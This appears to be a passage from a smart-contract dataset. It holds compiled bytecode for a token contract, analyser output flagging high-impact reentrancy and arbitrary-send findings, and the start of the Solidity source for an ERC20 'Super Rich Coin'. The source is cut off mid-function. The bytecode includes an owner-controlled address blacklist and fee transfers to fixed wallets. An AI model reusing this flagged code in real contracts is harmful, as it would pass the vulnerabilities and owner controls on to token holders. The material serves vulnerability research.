6a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612e5b565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610755611287565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b76565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c71565b9050919050565b6107df611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f5348494241535441f09f8d9d0000000000000000000000000000000000000000815250905090565b60006109a461099d611287565b848461145a565b6001905092915050565b6109b6611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612e5b565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a676132b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc90613211565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b19611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611cdf565b50565b610b5a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612e5b565b60405180910390fd5b601160149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612edb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906127e3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906127e3565b6040518363ffffffff1660e01b8152600401610dff929190612cab565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906127e3565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612cfd565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5991906129b3565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cd4565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612959565b5050565b6110bc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e5b565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e1b565b60405180910390fd5b6111be60646111b0836b033b2e3c9fd0803ce8000000611f6790919063ffffffff16565b611fe290919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f59190612efb565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690612ebb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612ddb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190612efb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612e9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612d9b565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612e7b565b60405180910390fd5b6005600a81905550600a600b8190555061159561092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160357506115d361092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ac5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117605750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117ce5750601160179054906101000a900460ff165b1561187e576012548111156117e257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182d57600080fd5b601e4261183a9190613031565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119295750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611995576005600a81905550600a600b819055505b60006119a030610786565b9050601160159054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a255750601160169054906101000a900460ff165b15611a4d57611a3381611cdf565b60004790506000811115611a4b57611a4a47611b76565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b0057600090505b611b0c8484848461202c565b50505050565b6000838311158290611b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b519190612d79565b60405180910390fd5b5060008385611b699190613112565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bc6600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bf1573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c42600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c6d573d6000803e3d6000fd5b5050565b6000600854821115611cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caf90612dbb565b60405180910390fd5b6000611cc2612059565b9050611cd78184611fe290919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d1757611d166132e7565b5b604051908082528060200260200182016040528015611d455781602001602082028036833780820191505090505b5090503081600081518110611d5d57611d5c6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dff57600080fd5b505afa158015611e13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3791906127e3565b81600181518110611e4b57611e4a6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eb230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f16959493929190612f16565b600060405180830381600087803b158015611f3057600080fd5b505af1158015611f44573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f7a5760009050611fdc565b60008284611f8891906130b8565b9050828482611f979190613087565b14611fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fce90612e3b565b60405180910390fd5b809150505b92915050565b600061202483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612084565b905092915050565b8061203a576120396120e7565b5b61204584848461212a565b80612053576120526122f5565b5b50505050565b6000806000612066612309565b9150915061207d8183611fe290919063ffffffff16565b9250505090565b600080831182906120cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c29190612d79565b60405180910390fd5b50600083856120da9190613087565b9050809150509392505050565b6000600a541480156120fb57506000600b54145b1561210557612128565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061213c87612374565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612484565b6122858483612541565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612efb565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123456b033b2e3c9fd0803ce8000000600854611fe290919063ffffffff16565b821015612367576008546b033b2e3c9fd0803ce8000000935093505050612370565b81819350935050505b9091565b60008060008060008060008060006123918a600a54600b5461257b565b92509250925060006123a1612059565b905060008060006123b48e878787612611565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b12565b905092915050565b60008082846124359190613031565b90508381101561247a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247190612dfb565b60405180910390fd5b8091505092915050565b600061248e612059565b905060006124a58284611f6790919063ffffffff16565b90506124f981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612556826008546123dc90919063ffffffff16565b6008819055506125718160095461242690919063ffffffff16565b6009819055505050565b6000806000806125a76064612599888a611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125d160646125c3888b611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125fa826125ec858c6123dc90919063ffffffff16565b6123dc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061262a8589611f6790919063ffffffff16565b905060006126418689611f6790919063ffffffff16565b905060006126588789611f6790919063ffffffff16565b905060006126818261267385876123dc90919063ffffffff16565b6123dc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126ad6126a884612fb0565b612f8b565b905080838252602082019050828560208602820111156126d0576126cf61331b565b5b60005b8581101561270057816126e6888261270a565b8452602084019350602083019250506001810190506126d3565b5050509392505050565b60008135905061271981613608565b92915050565b60008151905061272e81613608565b92915050565b600082601f83011261274957612748613316565b5b813561275984826020860161269a565b91505092915050565b6000813590506127718161361f565b92915050565b6000815190506127868161361f565b92915050565b60008135905061279b81613636565b92915050565b6000815190506127b081613636565b92915050565b6000602082840312156127cc576127cb613325565b5b60006127da8482850161270a565b91505092915050565b6000602082840312156127f9576127f8613325565b5b60006128078482850161271f565b91505092915050565b6000806040838503121561282757612826613325565b5b60006128358582860161270a565b92505060206128468582860161270a565b9150509250929050565b60008060006060848603121561286957612868613325565b5b60006128778682870161270a565b93505060206128888682870161270a565b92505060406128998682870161278c565b9150509250925092565b600080604083850312156128ba576128b9613325565b5b60006128c88582860161270a565b92505060206128d98582860161278c565b9150509250929050565b6000602082840312156128f9576128f8613325565b5b600082013567ffffffffffffffff81111561291757612916613320565b5b61292384828501612734565b91505092915050565b60006020828403121561294257612941613325565b5b600061295084828501612762565b91505092915050565b60006020828403121561296f5761296e613325565b5b600061297d84828501612777565b91505092915050565b60006020828403121561299c5761299b613325565b5b60006129aa8482850161278c565b91505092915050565b6000806000606084860312156129cc576129cb613325565b5b60006129da868287016127a1565b93505060206129eb868287016127a1565b92505060406129fc868287016127a1565b9150509250925092565b6000612a128383612a1e565b60208301905092915050565b612a2781613146565b82525050565b612a3681613146565b82525050565b6000612a4782612fec565b612a51818561300f565b9350612a5c83612fdc565b8060005b83811015612a8d578151612a748882612a06565b9750612a7f83613002565b925050600181019050612a60565b5085935050505092915050565b612aa381613158565b82525050565b612ab28161319b565b82525050565b6000612ac382612ff7565b612acd8185613020565b9350612add8185602086016131ad565b612ae68161332a565b840191505092915050565b6000612afe602383613020565b9150612b098261333b565b604082019050919050565b6000612b21602a83613020565b9150612b2c8261338a565b604082019050919050565b6000612b44602283613020565b9150612b4f826133d9565b604082019050919050565b6000612b67601b83613020565b9150612b7282613428565b602082019050919050565b6000612b8a601d83613020565b9150612b9582613451565b602082019050919050565b6000612bad602183613020565b9150612bb88261347a565b604082019050919050565b6000612bd0602083613020565b9150612bdb826134c9565b602082019050919050565b6000612bf3602983613020565b9150612bfe826134f2565b604082019050919050565b6000612c16602583613020565b9150612c2182613541565b604082019050919050565b6000612c39602483613020565b9150612c4482613590565b604082019050919050565b6000612c5c601783613020565b9150612c67826135df565b602082019050919050565b612c7b81613184565b82525050565b612c8a8161318e565b82525050565b6000602082019050612ca56000830184612a2d565b92915050565b6000604082019050612cc06000830185612a2d565b612ccd6020830184612a2d565b9392505050565b6000604082019050612ce96000830185612a2d565b612cf66020830184612c72565b9392505050565b600060c082019050612d126000830189612a2d565b612d1f6020830188612c72565b612d2c6040830187612aa9565b612d396060830186612aa9565b612d466080830185612a2d565b612d5360a0830184612c72565b979650505050505050565b6000602082019050612d736000830184612a9a565b92915050565b60006020820190508181036000830152612d938184612ab8565b905092915050565b60006020820190508181036000830152612db481612af1565b9050919050565b60006020820190508181036000830152612dd481612b14565b9050919050565b60006020820190508181036000830152612df481612b37565b9050919050565b60006020820190508181036000830152612e1481612b5a565b9050919050565b60006020820190508181036000830152612e3481612b7d565b9050919050565b60006020820190508181036000830152612e5481612ba0565b9050919050565b60006020820190508181036000830152612e7481612bc3565b9050919050565b60006020820190508181036000830152612e9481612be6565b9050919050565b60006020820190508181036000830152612eb481612c09565b9050919050565b60006020820190508181036000830152612ed481612c2c565b9050919050565b60006020820190508181036000830152612ef481612c4f565b9050919050565b6000602082019050612f106000830184612c72565b92915050565b600060a082019050612f2b6000830188612c72565b612f386020830187612aa9565b8181036040830152612f4a8186612a3c565b9050612f596060830185612a2d565b612f666080830184612c72565b9695505050505050565b6000602082019050612f856000830184612c81565b92915050565b6000612f95612fa6565b9050612fa182826131e0565b919050565b6000604051905090565b600067ffffffffffffffff821115612fcb57612fca6132e7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061303c82613184565b915061304783613184565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561307c5761307b61325a565b5b828201905092915050565b600061309282613184565b915061309d83613184565b9250826130ad576130ac613289565b5b828204905092915050565b60006130c382613184565b91506130ce83613184565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131075761310661325a565b5b828202905092915050565b600061311d82613184565b915061312883613184565b92508282101561313b5761313a61325a565b5b828203905092915050565b600061315182613164565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131a682613184565b9050919050565b60005b838110156131cb5780820151818401526020810190506131b0565b838111156131da576000848401525b50505050565b6131e98261332a565b810181811067ffffffffffffffff82111715613208576132076132e7565b5b80604052505050565b600061321c82613184565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561324f5761324e61325a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361181613146565b811461361c57600080fd5b50565b61362881613158565b811461363357600080fd5b50565b61363f81613184565b811461364a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220325d8e7009b8b509cf2ed0e3dbb29925ae55136638d4560e759d6d3991f94bc764736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,725
0x1c11657c92ee930e5acf07386d3ef41e303b0c51
/** *Submitted for verification at Etherscan.io on 2021-07-27 */ /* ____ ___ _ __ _____ _ / __/_ _____ ___ ____ / _ \(_)___/ / / ___/__ (_)__ _\ \/ // / _ \/ -_) __/ / , _/ / __/ _ \ / /__/ _ \/ / _ \ /___/\_,_/ .__/\__/_/ /_/|_/_/\__/_//_/ \___/\___/_/_//_/ /_/ Super Rich Coin SPDX-License-Identifier: MIT */ pragma solidity ^0.8.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract Pausable is Context { event Paused(address account); event Unpaused(address account); bool private _paused; constructor() { _paused = false; } function paused() public view virtual returns (bool) { return _paused; } modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); 